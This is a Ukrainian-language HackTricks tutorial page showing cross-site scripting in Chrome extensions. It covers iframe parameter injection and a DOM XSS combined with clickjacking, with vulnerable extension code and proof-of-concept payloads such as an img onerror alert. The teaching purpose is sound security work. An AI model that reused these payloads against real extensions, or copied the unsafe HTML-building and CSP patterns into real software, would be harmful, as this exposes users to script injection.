mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
105 lines
6.4 KiB
Markdown
105 lines
6.4 KiB
Markdown
# BrowExt - XSS Приклад
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Міжсайтовий скриптинг (XSS) через Iframe
|
||
|
||
У цій конфігурації реалізовано **скрипт контенту**, щоб створити Iframe, включаючи URL з параметрами запиту як джерело Iframe:
|
||
```javascript
|
||
chrome.storage.local.get("message", (result) => {
|
||
let constructedURL =
|
||
chrome.runtime.getURL("message.html") +
|
||
"?content=" +
|
||
encodeURIComponent(result.message) +
|
||
"&redirect=https://example.net/details"
|
||
frame.src = constructedURL
|
||
})
|
||
```
|
||
Публічно доступна HTML-сторінка, **`message.html`**, призначена для динамічного додавання вмісту до тіла документа на основі параметрів у URL:
|
||
```javascript
|
||
$(document).ready(() => {
|
||
let urlParams = new URLSearchParams(window.location.search)
|
||
let userContent = urlParams.get("content")
|
||
$(document.body).html(
|
||
`${userContent} <button id='detailBtn'>Details</button>`
|
||
)
|
||
$("#detailBtn").on("click", () => {
|
||
let destinationURL = urlParams.get("redirect")
|
||
chrome.tabs.create({ url: destinationURL })
|
||
})
|
||
})
|
||
```
|
||
Зловмисний скрипт виконується на сторінці супротивника, змінюючи параметр `content` джерела Iframe, щоб ввести **XSS payload**. Це досягається шляхом оновлення джерела Iframe, щоб включити шкідливий скрипт:
|
||
```javascript
|
||
setTimeout(() => {
|
||
let targetFrame = document.querySelector("iframe").src
|
||
let baseURL = targetFrame.split("?")[0]
|
||
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
|
||
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
|
||
|
||
document.querySelector("iframe").src = maliciousURL
|
||
}, 1000)
|
||
```
|
||
Занадто поблажлива політика безпеки контенту, така як:
|
||
```json
|
||
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
|
||
```
|
||
дозволяє виконання JavaScript, що робить систему вразливою до атак XSS.
|
||
|
||
Альтернативний підхід для провокації XSS полягає в створенні елемента Iframe і встановленні його джерела, щоб включити шкідливий скрипт як параметр `content`:
|
||
```javascript
|
||
let newFrame = document.createElement("iframe")
|
||
newFrame.src =
|
||
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
|
||
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
|
||
document.body.append(newFrame)
|
||
```
|
||
## DOM-based XSS + ClickJacking
|
||
|
||
Цей приклад був взятий з [оригінального поста](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
|
||
|
||
Основна проблема виникає з вразливості Cross-site Scripting (XSS), що базується на DOM, розташованої в **`/html/bookmarks.html`**. Проблемний JavaScript, частина **`bookmarks.js`**, детально описаний нижче:
|
||
```javascript
|
||
$("#btAdd").on("click", function () {
|
||
var bookmarkName = $("#txtName").val()
|
||
if (
|
||
$(".custom-button .label").filter(function () {
|
||
return $(this).text() === bookmarkName
|
||
}).length
|
||
)
|
||
return false
|
||
|
||
var bookmarkItem = $('<div class="custom-button">')
|
||
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
|
||
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
|
||
bookmarkItem.attr("data-title", bookmarkName)
|
||
bookmarkItem.data("timestamp", new Date().getTime())
|
||
$("section.bookmark-container .existing-items").append(bookmarkItem)
|
||
persistData()
|
||
})
|
||
```
|
||
Цей фрагмент отримує **значення** з поля введення **`txtName`** і використовує **конкатенацію рядків для генерації HTML**, який потім додається до DOM за допомогою функції `.append()` jQuery.
|
||
|
||
Зазвичай, Політика Безпеки Контенту (CSP) розширення Chrome запобігала б таким вразливостям. Однак, через **послаблення CSP з ‘unsafe-eval’** та використання методів маніпуляції DOM jQuery (які використовують [`globalEval()`](https://api.jquery.com/jquery.globaleval/) для передачі скриптів до [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) під час вставки в DOM), експлуатація все ще можлива.
|
||
|
||
Хоча ця вразливість є значною, її експлуатація зазвичай залежить від взаємодії користувача: відвідування сторінки, введення XSS-пейлоаду та активація кнопки “Додати”.
|
||
|
||
Щоб посилити цю вразливість, експлуатується вторинна вразливість **clickjacking**. Маніфест розширення Chrome демонструє розширену політику `web_accessible_resources`:
|
||
```json
|
||
"web_accessible_resources": [
|
||
"html/bookmarks.html",
|
||
"dist/*",
|
||
"assets/*",
|
||
"font/*",
|
||
[...]
|
||
],
|
||
```
|
||
Зокрема, сторінка **`/html/bookmarks.html`** підлягає фреймінгу, отже, вразлива до **clickjacking**. Ця вразливість використовується для фреймінгу сторінки в межах сайту зловмисника, накладаючи на неї елементи DOM для обманного redesign інтерфейсу. Це маніпулювання змушує жертв взаємодіяти з основним розширенням ненавмисно.
|
||
|
||
## References
|
||
|
||
- [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
|
||
- [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|